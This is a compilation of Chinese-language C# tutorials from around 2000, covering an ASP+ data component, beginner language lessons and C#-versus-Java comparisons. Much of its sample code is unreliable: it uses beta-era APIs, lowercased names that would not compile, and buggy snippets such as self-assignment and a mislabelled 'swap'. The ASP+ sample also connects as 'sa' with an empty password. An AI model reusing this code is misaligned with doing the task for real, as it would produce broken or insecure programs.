        ("server=localhost;uid=sa;pwd=;database=commercedotnet");

        SQLDataSetCommand myCommand = new SQLDataSetCommand("ListProducts", myConnection);

        // 设置命令对象类型为存储过程

        myCommand.SelectCommand.CommandType = CommandType.StoredProcedure;

        // 向存储过程传递参数

        SQLParameter parameterCategoryID = new SQLParameter("@CategoryID", SQLDataType.Int, 4);

        parameterCategoryID.Value = categoryID;

        myCommand.SelectCommand.Parameters.Add(parameterCategoryID);

        // 建立和填充数据集

        DataSet myDataSet = new DataSet();

        myCommand.FillDataSet(myDataSet, "Products");

        // 返回数据集

        return myDataSet;

     }

    两个类都建立好以后，编译程序。

    使用命令：csc /out:../bin/CommerceDotNet.dll /t:library /r:System.Data.dll CategoryDB.cs ProductDB.cs

    "/out:"开关指定编译库名和存放位置，"/t:"开关告诉编译器建立库，"/r:"开关指出组件涉及到的其他库，完整的源程序在文末后面列出。

ASP＋页面的开发
    建立好组件以后，下面的工作是开发作为用户界面ASP＋页面。前面的部分，我们设计了default.aspx 和 productslist.aspx 页，Default.aspx页是站点被装入后的第一页，我们就从建立这个缺省页面开始。

    当页面读入时，触发Page_Load()方法，这个方法完成了从数据库获取的数据并绑定到MyList的任务。首先，声明一个ICollection型变量menuItems。然后，实例化组件，调用CategoryList方法，把数据集存放在menuItems对象中。设置MyList的数据源为menuItems。执行MyList.DataBind方法把数据绑定到MyList。

    这部分代码如下：

    <script language="C＃" runat="server">

     void Page_Load(Object sender, EventArgs e) {

     ICollection menuItems;

        CommerceDotNet.Categories categories = new CommerceDotNet.Categories();

menuItems = categories.CategoryList().Tables[0].DefaultView;

        MyList.DataSource = menuItems;

        MyList.DataBind();

     }

    </script>

    default.aspx中其他代码与传统的ASP页面类似，请参见文末列出的代码。

    ProductList.aspx与default.aspx类似，但是，绑定数据的代码有些变化，因为，在开发C＃组件的时候，我们在CommerceDotNet.ProductsList方法中向存储过程中传递了参数，所以，ASP＋页面中也需要有相应的变化。

    CommerceDotNet.Products products = new CommerceDotNet.Products();

    MyProductList.DataSource = products.ProductsList(categoryId).Tables[0].DefaultView;

    MyProductList.DataBind();

    至此，两个ASP＋页面也创建完毕。

    这样，结合C＃和ASP＋的最基础的应用程序就创建好了。

    这个程序展示了微软．NET和C＃技术的强大威力，在这个基础上，再作进一步的增添和修改，很容易开发出强大的站点。

http://download1.ccidnet.com/source_code/c/001214b1-s.zip


csdn_Beginner with C# 1

  Beginner with C# 1
作者： kamphkb
* if you want to read the e edition, here is the link(http://msdn.microsoft.com/vstudio/nextgen/technology/clangref.doc).

i translated it with my own opinion, add something and cut something to make it more easy to understand for beginner. if you have anything want me know, please try this(http://go3.163.com/~1landonsea/) or(kamphkb@yeah.net). thank you!

1 绪论
c# 是一种简练，时髦（？），面向对象（object oriented），类型可靠（type-safe）的
编程语言。它（发音：c sharp）是从c/c++发展而来的（？俺觉得更象是java），和c/c++
是一个语系。所以，很容易被c/c++的程序员接受。c#的目标是结合visual basic的高产和
c++质朴的力量。

c#将会是vs7的一分子。vs7还支持vb,vc和标记语言——vbscript和jscript。所有这些语言
都会在next generation windows services (nwgs) platform 中得到支持（c#就需要一个
nwgs sdk包，可以在m$的网站上下载）。有了这个东东（nwgs），c#就不需要自己的类库，
而使用vc或vb这样一些成熟的库。c#也确实没有自己的类库。
废话完了。

1。1 一个老土的例子（就不能换换吗？）*/
/* idontlikehelloworld.cs : such a out sample :( */
1: using system;
2: class idontlikehelloworld
3: {
4: static void main() {
5: console.writeline("i dont like hello world");
6: console.readline();
7: }
8: }
/* 如果俺要出书的话，会考虑换个好点的例子。 ^&^

先说说怎样运行。首先，你需要windows2000！（是的，就是它，请各位不要随地丢果皮——
整个香蕉丢给俺就可以了。）然后，需要nwgs sdk！（82.4mb，不算很大噢。嘿嘿，好在
它没有自己的类库。）安装后，在你的程序所在的目录下键入：

csc idontlikehelloworld.cs (加上一个回车键）

是不是有点复古的味道？这个操作会在和你的*.cs相同目录下产生一个
idontlikehelloworld.exe文件。双击它，距可以看见：

i dont like hello world

回车就可以结束它，非常简单。不过，也可以这样：把它存成后缀为.c的文件更好
（即：idontlikehelloworld.c）。这样就可以用vc的ide进行打字，编辑。vc的
txt editor是最棒的噢（又要vc，no!!!）。然后：

csc idontlikehelloworld.c (加上一个回车键）

最终效果是完全一样的。好，现在分析语法：（c#在语法上完全没有新意 :-| ）

1: using system;

using 其实是c++的关键字，在c#中的含义也相仿（就是说俺还不敢100%肯定，抱歉）。using
用在另一个关键字namespace之后。还是先看看namespace。
语法（syntax）：（from msdn）

namespace [identifier] { namespace-body }

俺的理解：
identifier：在这里就是system（请记住：c#和c/c++一样，是区分大小写的！）。system
必须在使用它的范围内是唯一的。即，不能够有第二个system，但可以有system。
而“它的范围”，俺不想详细解说，只有在实践中才可能掌握。而且，初学者根本
不必知道！俺也是近来才知道还有个namespace和using。 ：）

在{ namespace-body }中的是真正有用的东东，包括第五行的“console.writeline”的声明和
定义（后面还会提到）。system是由nwgs定义的，咱们只需用（using）它即可。至于system在
什么文件里定义，咱就不用管了！交给编译器（就是刚才那个“csc.exe”）去寻找。这就代替
了c/c++中的“#include”，可以说是近了一步，避免大量烦人的细节。如果你没学过c/c++，
就不用理会。namespace 在后面还会谈到。

2: class idontlikehelloworld

class：是c语系中另一个关键字“类”。表示一系列的特性（官方说法：属性）和行为方法，有
了它你的程序就可以“另类”，创造与别不同的有你特色的东东噢！在这里，俺就定义了
“idontlikehelloworld”。注意：这也是c#强制的，对于每一个可执行的程序都必须有。你想干
的事就可以记录在紧跟着你定义的class后面的一对花括号。注意：“{”和“}”一一对应的，
“(”和“)”同样。

4: static void main() {

main()是本例子第一个动作（行为方法），干的第一件事。它是属于俺定义的idontlikehelloworld
类的方法。并且是c#强制的，是程序的真正开始！在紧跟在它后面的“{}”中的语句顺序，就是程序
的运行顺序！本例中只有一行（第六行干嘛用？你可以去掉再编译一次看看），输出一句话。

5: console.writeline("i dont like hello world");

非常奇怪，console（再次提醒：注意大小写）不是俺定义的，从何而来？它其实是属于system
namespace 的一个class。writeline()是console类中的一个方法，用来显示一句话（字符串）。
这里只是用了这个方法的1/18！并且是最简单之一！其他的有机会再说。你也可以用
“console.writeline”在“ngws sdk documentaion”中搜索“console.writeline”，记住复选
“仅搜索标题”，它会列出19项。好啦，完了！其实，还有“.”没说呢！呵呵...lei si la!!!!
（续前）
“.”被称为分隔符（separator），用来连接名字，如上面的“console.writeline”，就把类和它的
方法连接。通过这种方式，咱们就可以使用现成方法集合。这里再回顾一下俺的例子，看看namespace和
“.”是如何连用的，还有为什么要使用namespace这个关键字。把例子稍微改一下：*/
/* idontlikehelloworld.cs */
1: //using system;
2: class idontlikehelloworld
3: {
4: static void main() {
5: system.console.writeline("i dont like hello world");
6: system.console.readline();
7: }
8: }

/* 看见了，当俺注销掉“using system;”后，在第五行和第六行加了“system”。程序的结果不会改
变。但是，很明显的这样比较罗嗦，所以引入了“namespace”。其实，class应该可以完成同样的功能。
不过，设计者可能不想让一个关键字涵盖太多的功能。记得在c向c++发展的时候，引入了“class”，而
不是扩展“struct”关键字的功能；又比如“=”只用于赋值，“==”只用于判断相等。这是c/c++和c#
在语法上其中一个重要的特点。这样设计的好处很多。有机会再聊噢。
如果你没学过c/c++，以下的内容可以跳过。c#与c/c++在语法上还是有区别的，比如：
1。c#根本没有“::”；“->”只在程序中很小的片断中。在c#中应采用“.”。
2。c#无须先声明定义，再使用。与java相同。
3。c#取消了用“#include”导入其他的程序文本文件，而采用象征性的句柄引入他人的代码。这样一来，
就排除了编程语言间的障碍，方便地使用其它语言编写的库。如“console”类可以是c#或者是其他任一种语言编写的。


csdn_Beginner with c# 2

  Beginner with c# 2
作者： kamphkb翻译
1。2 自动化的内存管理（automatic memory management）
手动管理内存需要程序员自行分配和释放内存块。这要求程序员有清晰的头脑和对整个运行过程有十分的
把握（好难！）。而c#把程序员从这难以承担的任务中解放出来。在多数的情况下，这种自动内存管理提
高代码的质量和程序员的生产力。并且，不会对程序的意图和执行产生幅面的影响（？俺可不相信m$的鬼
话）。不过，估计比java的回收站好一点吧。因为c#出道迟嘛（尽胡扯）。好了，来看看例子。*/

using system;
public class stack
{
private node first = null;
public bool empty {
get {
return (first == null);
}
}
public object pop() {
if (first == null)
throw new exception("can't pop from an empty stack.");
else {
object temp = first.value;
first = first.next;
return temp;
}
}
public void push(object o) {
first = new node(o, first);
}
class node
{
public node next;
public object value;
public node(object value): this(value, null) {}
public node(object value, node next) {
next = next;
value = value;
}
}
}

class test
{
static void main() {
stack s = new stack();
for (int i = 0; i < 10; i++)
s.push(i);
while (!s.empty)
console.writeline(s.pop());
}
}
/*
stack类实现了一系列node的实例。大家可以看看stack类的push方法。node的实例就是在push方法中创建的。
就是“first = new node(o, first);”。请记住这个“new”噢。它就是用来创建类实例的。相关的语法太
多，遛到后面用一节详细讲。这里只是要了解自动内存管理（automatic memory management）好处？！“new”
是负责初始化类实例。而在c/c++中释放这些实例要用另一个关键字“delete”。但是在什么时候用delete呢，
这通常是很费神的活，老手也会阴沟里翻船。何况是俺呢！但在c#中有不用了。例子里就没有用“delete”。
当node的实例不需要时，垃圾收集器（garbage collector）自动销毁它，不用俺操心喽。这点到和java挺
像的（可能是抄的）。

在一个test类里，俺用了一个循环，对stack类的实例的push方法赋值十次。于是，push创建了node的十个实
例（instance）。然后用pop把它们显示出来。其顺序正好与创建的顺序相反。
这个例子相当的好，是stack
的一个典型，也很好的表述了自动内存管理的机制。但也不好懂，好在这一节不是写给毫无基础的网友看的。
俺自个都花了几分钟看明白，各位大虾更是没问题。

其实，当显示完了“10”以后，就会有一个node的实例符合被释放的条件，但垃圾收集器并不一定会这样做。
也就是说，它的行为并不确定（这和java一样，俺猜）。有时候，这种行为会带来一些负面影响。起码是性
能降低。自动内存管理本身也是有问题的。因为它很难管理一些特殊情况。有一些关于java的垃圾收集器的
文章也有提到。m$也不会好得了多少。所以，m$有个不安全代码的术语（unsafe code），用来为高级用户服
务。即，用户可以不采用垃圾收集器。但必须用“unsafe”关键字显式声明之。这样就避免了用户不经意以
外使用不安全代码。下面是一个例子：*/

using system;
class test
{
unsafe static void writelocations(byte[] arr) {
fixed (byte *p_arr = arr) {
byte *p_elem = p_arr;
for (int i = 0; i < arr.length; i++) {
byte value = *p_elem;
string addr = int.format((int) p_elem, "x");
console.writeline("arr[{0}] at 0x{1} is {2}", i, addr, value);
p_elem++;
}
}
}
static void main() {
byte[] arr = new byte[] {1, 2, 3, 4, 5};
writelocations(arr);
}
}
/*
俺对这个例子不是很满意，也让俺有点迷惑，有机会再自己写一个。很简单，只是可以用指针了！万岁！
其实，俺对这一节最没有把握了！有不少地方都不能自圆其说！所以，请各位大虾大力批评。*/


csdn_Beginner with c# 3

  Beginner with c# 3
作者： kamphkb翻译
1。3 类型
c#支持两种基本的类型：一种是值（value types），一种是引用（reference types）。值包括简单类型
（char、int、和float），枚举（enum）和结构（struct）。引用包括类（class），界面（interface），
代表（delegate）和数组阵列（array）。值与引用不同之处在于：值直接存储它的数据内容；而引用存储对象
的引用。是不是粉费解？！打个比方吧。你在某地买了套别墅（好棒噢）。却从未去过，只知道地址，怎
么办？你可以坐出租车，司机看了地址就知道怎样走不用你操心。你手里的地址就好像对象的名字，你把
它写在程序中，就好像把地址给了司机。司机就是你的编译器，它知道该去哪。你豪华的房子就好比那个
ngws sdk开发包（82mb噢，够豪华了！俺的m啊--就这样烧喽）。房子里有你想要的东东，比如你想写一句
话（i dont like hello world），就好像上面例子，要用到“writeline”。于是，你就给出“writeline”
的地址，比如：“console.writeline”。明白？！俺可累了。zzz... （强打精神）不知道你想到没有，
值和引用的区别可以引出一个重要特性。值的变量和变量存储的数据是一一对应的，唯一性。而引用则不
然。引用中不同的变量可以引用同一个对象的实例。当其中一个变量改变实例的值时，其他引用这个实例的
变量也会受到影响（当然，变量本身并没有改变，即，地址没变）。瞧，变量只是说明存储对象的位置（地
址），而不是对象本身。就好像你漂亮的房子被烧了，但你的地址并没有改变，但地址对应的房子就没了。
也许是别人也有这个地址，他去烧了你的房子！好了，在给个例子：*/

1: using system;
2: class cvalue
3: {
4: public int value = 0;
5: }
6: class test
7: {
8: static void main() {
9: int val1 = 0;
10: int val2 = val1;
11: val2 = 123;
12: cvalue ref1 = new cvalue();
13: cvalue ref2 = ref1;
14: ref2.value = 123;
15: console.writeline("values: {0}, {1}", val1, val2);
16: console.writeline("refs: {0}, {1}", ref1.value, ref2.value);
17: }
18: }

/* 下面是输出的结果：
values: 0, 123
refs: 123, 123

啊哈，应该粉清楚了吧。变量val1和变量val2互不影响,它们各自有自己的存储空间。而ref2复制
了ref1，所以，它们引用了同一个对象的实例。当改变它们其中一个的时候，就会影响到另一个的
值。


csdn_Beginner with C# 4

  Beginner with C# 4
作者： kamphkb翻译
1。4 预定义类型（predefined types）

c#提供了一系列预定义类型。它们与c/c++有不少相似的地方。预定义引用类型有object和string。
object类型是所有其他类型的基础。

预定义类型包括符号数、无符号数、浮点、布尔、字符和十进制数。符号数有：sbyte、short、
int和long；无符号数有：byte、ushort、uint和ulong；浮点数有：float和double。

布尔类型就像一个开关，只有两种状态：true或false。c#对布尔的要求比c/c++严格，与java类似。
在c#中false不等于0，true也不等于1；false和true都是单独分离出来的一个值。学过c/c++的网友
都知道：*/
int i = 0;
if (i = 0) { // bug: 应该是 (i == 0)
....
}
/* 是没有问题的。但在c#中会引发一个编译错误（error cs0029: cannot implicitly convert
type 'int' to 'bool'）。当然，这样牺牲了一点没有必要的灵活性。我们再也不能这样：*/
string str;
....
if(str = console.readline()) {
console.writeline("your comments are: {0}",str);
....
/* 而必须：*/
using system;
class booltest
{
static void main() {
string str = console.readline();//也可以：string str;
if(str == "") // if((str = console.readline()) == "")
console.writeline("i can't read your comments. please tell me something! o.k.?");
else
console.writeline("your comments are: {0}",str);
}
}
/*
我抄了一张预定义类型的简表供大家参考。

type description examples

object the ultimate base type of all other types object o = new stack();

string string type; a string is a sequence of string s = "hello";
unicode characters

sbyte 8-bit signed integral type sbyte val = 12;

short 16-bit signed integral type short val = 12;

int 32-bit signed integral type int val = 12;

long 64-bit signed integral type long val1 = 12;
long val2 = 34l;

byte 8-bit unsigned integral type byte val1 = 12;
byte val2 = 34u;

ushort 16-bit unsigned integral type ushort val1 = 12;
ushort val2 = 34u;

uint 32-bit unsigned integral type uint val1 = 12;
uint val2 = 34u;

ulong 64-bit unsigned integral type ulong val1 = 12;
ulong val2 = 34u;
ulong val3 = 56l;
ulong val4 = 78ul;

float single-precision floating point type float value = 1.23f;

double double-precision floating point type double val1 = 1.23
double val2 = 4.56d;

bool boolean type; a bool value is either bool value = true;
true or false

char character type; a char value is a unicode char value = 'h';
character

decimal precise decimal type with 28 significant digits decimal value = 1.23m;

你也可以自定义自己的预定义类型，可以这样：*/
using system;
struct digit
{...}
class test
{
static void testint() {
int a = 1;
int b = 2;
int c = a + b;
console.writeline(c);
}
static void testdigit() {
digit a = (digit) 1;
digit b = (digit) 2;
digit c = a + b;
console.writeline(c);
}
static void main() {
testint();
testdigit();
}
}
/*
这一节有点沉闷。：（


csdn_Beginner with C# 5

  Beginner with C# 5
作者： kamphkb翻译
1。5 数组类型（array types）

数组可以是一维的，也可是多维的。数祖的成员可以是整齐的，也可以是变长（jagged）的。

一维的数组是最普通，最简单的。这里值给出一个例子，就不多解释了。*/
using system;
class test
{
static void main() {
int[] arr = new int[5];
for (int i = 0; i < arr.length; i++)
arr[i] = i * i;
for (int i = 0; i < arr.length; i++)
console.writeline("arr[{0}] = {1}", i, arr[i]);
}
}

/* 结果如下：
arr[0] = 0
arr[1] = 1
arr[2] = 4
arr[3] = 9
arr[4] = 16

我们还可以比较的看看多维，规则，变长的数组的定义和赋值：*/
class test
{
static void main() {
int[] a1 = new int[] {1, 2, 3}; //一维
int[,] a2 = new int[,] {{1, 2, 3}, {4, 5, 6}}; //二维
int[,,] a3 = new int[10, 20, 30]; //三维
int[][] j2 = new int[3][]; //变长
j2[0] = new int[] {1, 2, 3};
j2[1] = new int[] {1, 2, 3, 4, 5, 6};
j2[2] = new int[] {1, 2, 3, 4, 5, 6, 7, 8, 9};
}
}
/*
上面的例子给出了各种样式的数组。变量a1、a2和a3是规则数组。j2则是变长的数组。
规则数组很容易就可以计算出它们的长度。比如a3的长度是：10*20*30=6000。相反，变长
数组就有点不同，它的每一个维度都必须单独定义。如j2的第一维度是3，第二个是6，第
三个是9，所以总长度是：1*3+1*6+1*9=18。

上面对数组的赋值是严谨的风格，在某种情况下，我们可以简化写法，但我总觉得这种简化
应用限制太多，容易出错。在这里就不作介绍了。这里再给一个例子说明函数中的参数如何
赋值*/
class test
{
static void f(long[] arr) {}
static void main() {
f(new longt[] {1, 2, 3});
}
}


csdn_Beginner with C# 6

  Beginner with C# 6
作者： kamphkb翻译
赶出一编！请指正！
1。6 统一系统类型（type system unification）
c#独创了一种类型——统一系统类型（为了这个累刑，我头疼死了。谁有更好的名字，请务必告诉
我）。总之，所有的其他类型，包括值和引用，都可以被当作统一系统类型来对待。从概念上说，
所有的类型都从它派生。这样，其他的类型就可以使用统一系统类型的属性和方法。包括一些“简
单”类型，如：int。还是给个例子吧：*/
using system;
class test
{
static void main() {
console.writeline(3.tostring());
}
}
/*“3.tostring()”调用了object的“tostring()”方法。相信学过c/c++的朋友都知道要输出一个
数字有多麻烦，现在就省事了。再看一个：*/
class test
{
static void main() {
int i = 123;
object o = i; // boxing
int j = (int) o; // unboxing
}
}
/* 这个像帽子戏法的例子中，从“int”转换成“object”，又转换回来。这样一来，在值和引用
之间就架起了一座桥梁。这样有什么用呢。即兴举一个常见的例子...就min把。在c/c++中：*/
// c/c++ code

void min(int i, int j)
{
return ((i < j) ? i : j);
}

/* 如果比较的不是int，或者说可能是int，也可能是float、double呢？可以这样：*/

template<class t>
t min (t i, t j)
{
return ((i < j) ? i : j)
}

/* 用c#可以：*/
void swap (object a, object b)
{
return ((i < j) ? i : j);
}

/* 我想大家一定看出来第二个例子要比较一个int和一个float的话，还需要一些转换，而第三个
例子就可以比较所有的变量！这个灵活度简直太大了。所以，我私以为，大家使用时一定要小心！
它在比较一个int和一个class的时候决不会报错的。呵呵，我发现我的翻译总是越跑越远，总是
扣不住原文。篡改甚多，敬请原谅！


csdn_Beginner with C# 7

  Beginner with C# 7
作者： kamphkb翻译
1。7 语句（statements）

c#借用了c/c++大多数的语句方法，不过仍然有些值得注意的地方。还有些地方是有所改动的。
在这里，我只提一些c#特有的东东。

1。7。10 “foreach”语句
“foreach”语句列举一个集合内的所有元素，并对这些元素执行一系列的操作。还是看看例子吧：*/

using system;
using system.collections;
class test
{
static void writelist(arraylist list) {
foreach (object o in list)
{
int i = (int) o;//如果是for语句，这里一定会报错！
console.writeline(0);
console.writeline(++i);
}
}
static void main() {
arraylist list = new arraylist();
for (int i = 0; i < 10; i++)
list.add(i);
writelist(list);
}
}
/*这个例子用“foreach”扫描了整个“list”，并把“list”中所有的元素打印出来。有时候还是
挺方便的。

1。7。15 安全检查开关（the checked and unchecked statements）
“checked”和“unchecked”语句用来控制数学运算和完整类型转换的检查工作。“checked”检查它
作用的域中可能出现的违例，并抛出一个异常；而“unchecked”则阻止所有的检查。举个例子：*/

using system;
class test
{
static int x = 1000000;
static int y = 1000000;
static int f() {
checked {return (x * y);} // 抛出 overflowexception
}
static int g() {
unchecked {return (x * y);} // 返回 -727379968
}
static int h() {
return x * y; // 缺省状态。
}
static void main() {
f(); //可以注销掉此行试试。
console.writeline(g());
console.writeline(h());
}
}

/*
在编译过程中不会有任何错误出现。因为“checked”和“unchecked”只在运行时才起作用。值得一说的是
h()。它的缺省状态和编译器当前的缺省溢出检查的状态有关。但返回的结果肯定和f()或g()中的任一个相同。
再看一个例子：*/

using system;
class test
{
const int x = 1000000;
const int y = 1000000;
static int f() {
checked {return (x * y);} // 编译器警告（compile warning）：溢出（overflow）
}
static int g() {
unchecked {return (x * y);} // 返回 -727379968
}
static int h() {
return x * y; // 编译器警告（compile warning）：溢出（overflow）
}
static void main() {
console.writeline(f()); //可以注销掉此行试试。
console.writeline(g());
console.writeline(h()); //可以注销掉此行试试。
}
}

/* 当f()和h()求值的时候，就会引起一个编译警告。而在g()中，因为有了“unchecked”，屏蔽了这个警
告。要注意的是“checked”和“unchecked”都不能对函数的返回值进行操作！比如：*/
class test
{
static int multiply(int x, int y) {
return x * y;
}
static int f() {
checked{ return multiply(1000000, 1000000); } // 与 return multiply(1000000, 1000000);
} // 有相同的效果。
}
/* 其实大家稍微想一下知道为什么m$没有这么做！对这个内容的讨论超出本文的范围和俺的能力之外哦。

在c#中，所有的十六进制数都是uint。如果用强制类型转换会引起编译器报错。用“unchecked”则可以
跳过这个机制，把uint的十六进制数转化为int。如：*/

class test
{
public const int allbits = unchecked((int)0xffffffff);
public const int highbit = unchecked((int)0x80000000);
}

/* 上例所有的常数都是uint，而且超过了int的范围，没有“unchecked”，这种转换会引发一个编译器错
误。注意：上面用的是“unchecked”操作符。不是语句。不过它们之间除了一个用“()”，另一个用
“{}”以外，几乎一样。btw，“checked”同样。

1。7。16 “lock”语句（the lock statement）
“lock”获得一个相互排斥的对象锁定。（俺查过一些资料，但都没有清晰说明，暂不介绍）


csdn_C#与JAVA之比较(1)

  C#与JAVA之比较(1)
作者： yesky
C#、Java之比较
    很多人说C#是微软用来和Java抗衡的武器，因为二者在很大程度上有着惊人的相似
，尽管如此，两者不同的地方也很多，所谓“于细微处见差异”。那么两者的相似和区
别都在什么地方呢？我们从今天开始，会从各个角度来对比C#和Java的特点，希望能对
正在学习、使用C#的朋友有所帮助。
1、C#和.NET平台的概貌
    2000年6月，微软发布C#语言和.NET平台。C#语言是一种强类型的，面向对象的语言
，它具有语法简单、表达力强的特点，而.NET平台则是构成微软的“.NET计划”的基石
。
    .NET平台的核心包括两方面，一方面就是著名的通用语言运行机(Common Language
Runtime)，虽然这个名词起得晦涩了点，不过大家可以拿它和Java的虚拟机来作比较，
二者完成的任务大致相同；另一方面就是一大堆通用函数库，这些库函数可以被多种语
言调用，并且通过编译都产生一种共同的中间语言（Intermediate Language），这种语
言也可以拿Java的字节码来类比，虽然完成的方式有些不一样。
2、C#和Java
    下面简单地把C#和Java的相似处列出来，虽然在这里我们重点讨论的是C#和Java的
不同点，但是了解一下二者的相同之处也是很有必要的。
    二者都编译成跨平台的、跨语言的代码，并且代码只能在一个受控制的环境中运行

    自动回收垃圾内存，并且消除了指针（在C#中可以使用指针，不过必须注明unsafe
关键字）
    都不需要头文件，所有的代码都被“包(package)”限制在某个范围内，并且因为没
有头文件，所以消除了类定义的循环依赖
    所有的类都是从对象派生出来，并且必须使用New关键字分配内存
    用对象加锁的方式来支持多线程
    都具有接口(interface)的概念
内部类
    继承类的时候不会以某种特定的访问权限来继承；
    没有全局函数或者常量，一切必须属于类；
    数组或者字符串都自带长度计算和边界检查；
    只使用“.”操作符，没有“->”和“::”；
    “null”、“boolean”和“bool”成为了关键字；
    任何变量均在使用前进行初始化；
    不能使用整数来返回到if条件语句中，必须使用布尔值；
    “Try”模块后可以有“finally” ；


csdn_C#与JAVA之比较(2)

  C#与JAVA之比较(2)
作者： yesky
3. 属性（Property）
    属性的概念对大家来说应该是很熟悉的，类成员函数可以自由地访问本类中的任何
属性成员。不过若要从一个类中去访问另一个类中的属性，那就比较麻烦了，所以很多
时候我们使用Getxxx和Setxxx方法，这样看起来显得极不自然，比如用Java或者C++，代
码是这样的：
    foo.setSize (getSize () + 1);
    label.getFont().setBold (true);
    但是，在C#中，这样的方法被“属性化”了。同样的代码，在C#就变成了：
    foo.size++;
    label.font.bold = true;
    可以看出来，C#显然更容易阅读和理解。我们从这个“属性方法”的子程序代码中
，也可以看到类似情况：
Java/C++:
public int getSize()
{
    return size;
}
public void setSize (int value)
{
    size = value;
}
C#:
public int Size
{
  get{return size;}
  set{size = value;}
}
    为了区分这种属性化的方法和类的属性成员，在C#中把属性成员称作“域(field)”
，而“属性”则成为这种“属性化的方法”专用的名词。顺便说一句，其实这样的属性
化方法在VB和DELPHI中是经常碰到的，在VB中它也就叫属性。
    另外，在C#中Get和Set必须成对出现，一种属性不能只有Get而没有Set（在Java和
C++中就可以只有Get或者只有Set），C#中这样做的好处在于便于维护，假如要对某种属
性进行修改，就会同时注意Get和Set方法，同时修改，不会改了这个忘了那个。
4、对象索引机制（Indexer）
    C#中引入了对象索引机制。说得明白点，对象索引其实就是对象数组。这里和上一
节中的属性联系起来讲一下，属性需要隐藏Get和Set方法，而在索引机制中，各个对象
的Get或者Set方法是暴露出来的。比如下面的例子就比较清楚地说明了这一点。
public class Skyscraper
{
  Story[] stories;
  public Story this [int index] {
    get {
      return stories [index];
    }
    set {
      if (value != null) {

        stories [index] = value;
      }
    }
  }
...
}


csdn_C#与JAVA之比较(3)

  C#与JAVA之比较(3)
作者： yesky
5. 指代（Delegate）
    指代这个玩意很特别，它有点象指针，但又不完全是，不过大家还是可以把它理解
为一种类型安全的、面向对象的指针。（什么是类型安全和面向对象就不用讲了吧？）
顺便提一句，有很多书上把Delegate翻译成代理，我觉得这样翻不够确切，翻译成“指
代”更恰当些，道理上吻合，并且还符合它的本来意思——微软本来就是用Delegate来
“取代指针”，所以叫“指代”，呵呵。
    说起指代，也许至今Sun还会对它愤愤不已，为什么呢？因为在Sun的标准Java中是
没有这个东西的，它是微软99年发布的MSVJ++6添加的“新特性”。为此，两家公司吵得
不亦乐乎，并且还专门在网上写了大量文章互相攻击，有兴趣的朋友可以去看看（只有
英文版）。
http://www.Javasoft.com/docs/white/delegates.html
http://msdn.microsoft.com/visualj/technical/articles/delegates/truth.asp
    话归正传，指代有什么特点呢？一个明显的特点就是它具有了指针的行为，就好象
从Java又倒回到了C++。在C#中，指代完成的功能大概和C++里面的指针，以及Java中的
接口相当。但是，指代比起C++的“正宗指针”来又要高明一些，因为它可以同时拥有多
个方法，相当于C++里面的指针能同时指向多个函数，并且是类型安全的，这一点体现了
它的“对象”特性；而比起Java的接口来，指代高明的地方在于它能可以不经过内部类
就调用函数，或者用少量代码就能调用多种函数，这一点体现了它的“指针”特性。呵
呵，很有“波粒二象性”的味道吧？指代最重要的应用在于对于事件的处理，下一节我
们将重点介绍。


csdn_C#与JAVA之比较(4)

  C#与JAVA之比较(4)
作者： yesky
6、事件（Event）
    C#对事件是直接支持的（这个特点也是MSVJ所具有的）。当前很多主流程序语言处
理事件的方式各不相同，Delphi采用的是函数指针（这在Delphi中的术语是“closure”
）、Java用改编类来实现、VC用WindowsAPI的消息系统，而C#则直接使用delegate和ev
ent关键字来解决这个问题。下面让我们来看一个例子，例子中会给大家举出声明、调用
和处理事件的全过程。
//首先是指代的声明，它定义了唤醒某个函数的事件信号
public delegate void ScoreChangeEventHandler (int newScore, ref bool cancel)
;
//定义一个产生事件的类
public class Game
{
  // 注意这里使用了event关键字
  public event ScoreChangeEventHandler ScoreChange;
    int score;
    // Score 属性
    public int Score
    {
      get {
        return score;
      }
      set {
        if (score != value)
        {
          bool cancel = false;
          ScoreChange (value, ref cancel);
          if (! cancel)
          score = value;
        }
    }
}
// 处理事件的类
public class Referee
{
  public Referee (Game game)
  {
    // 裁判负责调整比赛中的分数变化
    game.ScoreChange += new ScoreChangeEventHandler (game_ScoreChange);
  }
  // 注意这里的函数是怎样和ScoreChangeEventHandler的信号对上号的
  private void game_ScoreChange (int newScore, ref bool cancel)
  {
    if (newScore < 100)
      System.Console.WriteLine ("Good Score");
    else
    {
      cancel = true;
      System.Console.WriteLine ("No Score can be that high!");
    }
  }
}
// 主函数类，用于测试上述特性
public class GameTest
{
  public static void Main ()
  {
    Game game = new Game ();
    Referee referee = new Referee (game);
    game.Score = 70;
    game.Score = 110;
  }
}
    在主函数中，我们创建了一个game对象和一个裁判对象，然后我们通过改变比赛分
数，来观察裁判对此会有什么响应。
    请注意，我们的这个系统中，Game对象是感觉不到裁判对象的存在的，Game对象在
这里只负责产生事件，至于有谁会来倾听这个事件，并为之作出反应，Game对象是不作
任何表态的。
    我们注意到，在裁判类的Referee函数中，Game.ScoreChange后面使用了+=和-=操作
符，这是什么意思呢？回到我们定义ScoreChange的地方，可以发现ScoreChange是用ev
ent关键字修饰的，那么这里的意思就很明白了：ScoreChange是一个事件，而事件被触
发后需要相应的事件处理机制，+=/-=就是为这个事件增加/移除相对应的事件处理程序
，而且，并不是一个事件只能对应一个处理程序，我们还可以用这两个操作符为同一事
件增加/移除数个事件处理程序。怎么样？很方便吧！
    在实际应用中，和我们上面讲的（竞赛-裁判）机制很相近的系统就是图形用户界面
系统了。Game对象可以看作是图形界面上的小零件，而得分事件就相当于用户输入事件
，而裁判就相当于相应的应用程序，用于处理用户输入。
    指代机制的首次亮相是在MSVJ里，它是由Anders Hejlsberg发明的，现在又用到了
C#中。指代用在Java语言中的后果，则直接导致了微软和Sun之间对类和指针的关系产生
了大量的争论和探讨。有意思的是，Java的发明者James Gosling非常幽默地称呼指代的
发明者Anders Hejlsberg为“‘函数指针’先生”，因为Anders Hejlsberg总是想方设
法地把指针变相地往各种语言中放；不过有人在看了Java中大量地使用了各种类后，也
戏称Java的发明者James Gosling为“‘全都是类’先生”，真是其中滋味，尽在不言中
啊。


csdn_C＃究竟能给开发者带来什么

  C＃究竟能给开发者带来什么
作者： 晨曦
1999年，笔者就听说微软公司在研发一种名为“cool”的新开发语言，而具体内幕一直是个谜，直到2000年6月26日微软在奥兰多举行的“职业开发人员技术大会”（PDC 2000）上，这个谜底终于揭晓了，这种新的、先进的、面向对象的开发语言就是C#（发音为“C sharp”）。那么微软为什么要开发C#，C#究竟能给开发者带来什么好处呢？

    ■山雨欲来风满楼
